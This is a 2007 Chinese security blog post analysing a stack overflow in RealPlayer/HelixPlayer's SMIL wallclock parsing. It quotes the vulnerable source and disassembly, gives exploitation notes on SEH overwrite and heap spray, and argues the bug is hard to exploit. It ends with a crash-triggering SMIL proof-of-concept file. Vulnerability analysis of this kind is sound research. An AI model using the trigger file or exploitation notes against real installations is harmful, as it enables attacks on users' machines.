RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow 简单分析(POC)

by axis
2007-06-27
http://www.ph4nt0m.org

这是一个忽悠人的漏洞,这是我们内部讨论后的结论。当然也许是我们考虑的不够全面,所以把我们的分析公开在这里,希望哪位大牛能够指点下我们,望不吝赐教!

那么我们为什么会认为这是个忽悠人的漏洞呢,简单分析如下。

漏洞是今天由idefense公布的.

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=547

首先看看这个漏洞的历史:

VIII. DISCLOSURE TIMELINE

10/02/2006 Initial vendor notification
10/03/2006 Initial vendor response
06/26/2007 Public disclosure

丫挺的原来去年10月份就报给厂商了,到今天才pub出来。

根据漏洞公告,RealPlayer 10.5是受影响的,和我们的测试结果一致。我们测试10.6已经补了,而10.5和10.0.x都存在这个漏洞。

从公告中可以看出,这个漏洞是看代码看出来,而且是先用flawfinder扫过的。引用公告中的代码如下:

924 HX_RESULT
925 SmilTimeValue::parseWallClockValue(REF(const char*) pCh)
926 {
...
957 char buf[10]; /* Flawfinder: ignore */
...
962 while (*pCh)
963 {
...
972 else if (isspace(*pCh) || *pCh == '+' || *pCh == '-'
|| *pCh == 'Z')
973 {
974 // this will find the last +, - or Z ... which is
what we want.
975 pTimeZone = pCh;
976 }
...
982 ++pCh;
983 }
...
1101 if (pTimePos)
1102 {
1103 //HH:MM ...
... .
1133 if (*(pos-1) == ':')
1134 {
... .
1148 if (*(pos-1) == '.')
1149 {
1150 // find end.
1151 UINT32 len = 0;
1152 if (pTimeZone)
1153 {
1154 len = pTimeZone - pos;
1155 }
1156 else
1157 {
1158 len = end - pos;
1159 }
1160 strncpy(buf, pos, len); /* Flawfinder: ignore */

这里告诉我们一个方法,有的漏洞挖掘,可以直接去看同系列的开源代码(如果有的话),因为代码可能很大程度上是差不多的。同时也告诉我们不要太过于迷信工具,这个漏洞显然是flawfinder检测不出来的。

根据公告的说明,这个漏洞是存在于SMIL语言的wallclock方法中(SMIL语法请自己google).
这个漏洞存在于 /Program Files/Common Files/Real/Pluggins/smlrender.dll 中

loc_608A136A:
sub eax, edi
mov edx, eax
mov [ebp+var_8], eax
push edx ; size_t
lea eax, [ebp+var_40]
push edi ; char *
push eax ; char *
call ds:strncpy
mov ecx, [ebp+var_8]
add esp, 0Ch
mov [ebp+ecx+var_40], 0
mov al, [ebp+var_40]
test al, al
jz loc_608A155A

strncpy的拷贝在如上位置。

拷贝完后会覆盖ecx、edx,同时eax、edi会指向shellcode。
在strncpy拷贝完后,会因为
mov [ebp+ecx+var_40], 0
导致异常,所以我建议覆盖seh利用
SEH的位置在[esp+5C8]处

接下来是这个漏洞真正忽悠人的地方了。

这个天杀的漏洞只能接受如下字符才能触发:
数字0-9,),.,Z,+,-,空格

也就是说触发漏洞的payload只能用上述字符,否则就触发不了漏洞。
即以下字符: 0x30-0x39, 0x20, 0x29, 0x2b, 0x2d, 0x2e, 0x5a

那么不管是覆盖ret,还是覆盖seh,都只能有这些字符,甚至像利用单字节溢出一样,只覆盖一个字节,也只能是这些字符。

先不论shellcode如何写,光是怎么改变程序运行流程使之指向shellcode,几乎就是不可能的了。

使用如下classid: CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA
在ie中调用,使用heap spray,也只能把堆地址最高推到 0x0f******, 推到0x10******都比较困难。
使用java做 heap spray,堆地址范围是 0x21****** – 0x26****** 也不符合要求。

所以说这个漏洞基本上是忽悠人玩的。

公告中有如下一句话:
The data that is used to overflow the buffer is quite limited in the
range of characters that are allowed. However, given the ease of
address space manipulation within web browsers, exploitation is not
substantially impacted by this limitation.

也许这个漏洞还有别的好的利用方法,那么如果哪位大牛找到了,请share我们一份,谢谢。

以下是我们的POC,注意要挂载了调试器才能看到异常,直接运行是不会挂realplayer的,可惜了一个好漏洞!

<smil xmlns="http://www.w3.org/2000/SMIL20/CR/Language">
<body>
<par>
<img src="./1.jpg" begin="wallclock(12:00:00.999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999+9)" dur="5s"/>
</par>
</body>
</smil>

将上面代码保存为x.smil即可,这是一个文件类型的漏洞。

怀着恶意揣测一下idefense,可能还有可以利用的好漏洞,他报出来的只是一个垃圾漏洞而已。。。。

相关日志

发表评论